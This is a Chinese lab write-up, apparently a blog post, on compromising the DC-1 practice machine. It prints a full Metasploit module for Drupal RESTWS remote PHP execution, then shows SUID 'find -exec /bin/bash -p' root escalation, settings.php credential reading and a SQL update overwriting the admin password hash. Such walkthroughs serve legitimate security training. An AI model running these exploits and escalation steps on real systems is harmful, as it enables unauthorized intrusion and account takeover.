靶机DC-1

11 篇文章 0 订阅
4 篇文章 0 订阅

如果是虚拟机打开报错,可以尝试一下更改

信息收集

arp-scan -l

192.168.56.144

开放端口信息

也就是ssh,和web,Drupal,像这种CMS最直接的就是历史漏洞了,这个界面太熟悉了

Drupal7版本,Apache-HTTP-Server/2.2.22][jQuery][Apache/2.2.22 (Debian)][PHP/5.4.45

以下漏洞文件结合了这两种漏洞,以便同时执行权限提升、SQL 注入和 RCE。攻击者必须猜测或找到端点 URL,这可以稍微缓解漏洞的影响

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Drupal RESTWS Module 7.x Remote PHP Code Execution',
      'Description'    => %q{
        This module exploits the Drupal RESTWS module vulnerability.
        RESTWS alters the default page callbacks for entities to provide
        additional functionality. A vulnerability in this approach allows
        an unauthenticated attacker to send specially crafted requests resulting
        in arbitrary PHP execution

        This module was tested against RESTWS 7.x with Drupal 7.5
installation on Ubuntu server.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Devin Zuczek',                        # discovery
          'Mehmet Ince <mehmet@mehmetince.net>'  # msf module
        ],
      'References'     =>
        [
          ['URL', 'https://www.drupal.org/node/2765567'],
          ['URL',
'https://www.mehmetince.net/exploit/drupal-restws-module-7x-remote-php-code-execution']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [ ['Automatic', {}] ],
      'DisclosureDate' => 'Jul 13 2016',
      'DefaultTarget'  => 0
      ))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "The target URI of the
Drupal installation", '/'])
      ], self.class
    )
  end

  def check
    r = rand_text_alpha(8 + rand(4))
    url = normalize_uri(target_uri.path, "?q=taxonomy_vocabulary/", r
, "/passthru/echo%20#{r}")
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => url
    )
    if res && res.body =~ /#{r}/
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    random = rand_text_alpha(1 + rand(2))
    url = normalize_uri(target_uri.path,
      "?q=taxonomy_vocabulary/",
      random ,
      "/passthru/",
      Rex::Text.uri_encode("php -r
'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'")
    )
    send_request_cgi(
      'method' => 'GET',
      'uri' => url
    )
  end
end

漏洞利用

search drupal 7.X

info查看

run拿到shell

flag1

首先拿到flag1,这句话通常是用来强调配置文件的重要性 ,但是可以看到权限是www-data,尝试提取

提权

查找suid文件

suid(set uid)是linux中的一种特殊权限,suid可以让调用者以文件拥有者身份运行该文件,所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了。

具有suid权限的二进制可执行文件有

nmap
vim
find
bash
more
less
nano
cp
awk

几个常见的命令

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

以find / -perm -u=s -type f 2>/dev/null讲解一下各个参数代表什么

find / -perm -u=s -type f 2>/dev/null
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

利用以上这几个命令可以找到正在系统上运行的所有suid可执行文件。

也可以使用sudo -l 列出当前用户可执行的命令

suid提权

find

find 具有suid权限的filename -exec whoami \; -quit
#root
find 具有suid权限的filename -exec /bin/sh -p \; -quit
#whoami
#root

suid文件查询到了/usr/bin/find 有suid权限
touch kun.txt #创建1.txt
#/usr/bin/find kun.txt -exec whoami \;
find kun.txt -exec /bin/bash -p \;
//或者
echo >kun
find kun -exec /bin/bash -p \;
whoami

flag2

接着根据线索提示,可以搜到Drupal的配置文件为sites/default/settings.php

找到数据库信息

连接数据库

查询users表里数据,密码是加盐的密码( 加盐是增强密码存储安全性的重要技术,通过增加随机数据使每个密码哈希值唯一,有效防止了一些常见的密码破解攻击 )很难破解,所以修改用户密码进行替换来解决

$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

加密脚本

在www目录下有个脚本文件password-hash.sh

./scripts/password-hash.sh admin123

将admin123进行加密:$S$DqBSBbRrj.fSWI85oItKoPDwrIYHYVKnwsAE4N/HH4U5w6cSEsNa

替换数据

update users set pass='$S$DqBSBbRrj.fSWI85oItKoPDwrIYHYVKnwsAE4N/HH4U5w6cSEsNa' where name='admin';

账号密码已成功更新,admin ,admin123

flag3

点击仪表板找到flag3

flag4

根据提示,查看etc/passwd

flag5

这里是需要提权,前面已经操作了,直接在/root找到flag

参考:浅谈linux suid提权 - 先知社区

Drupal 7.x Services module unserialize() to RCE

  • 22
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值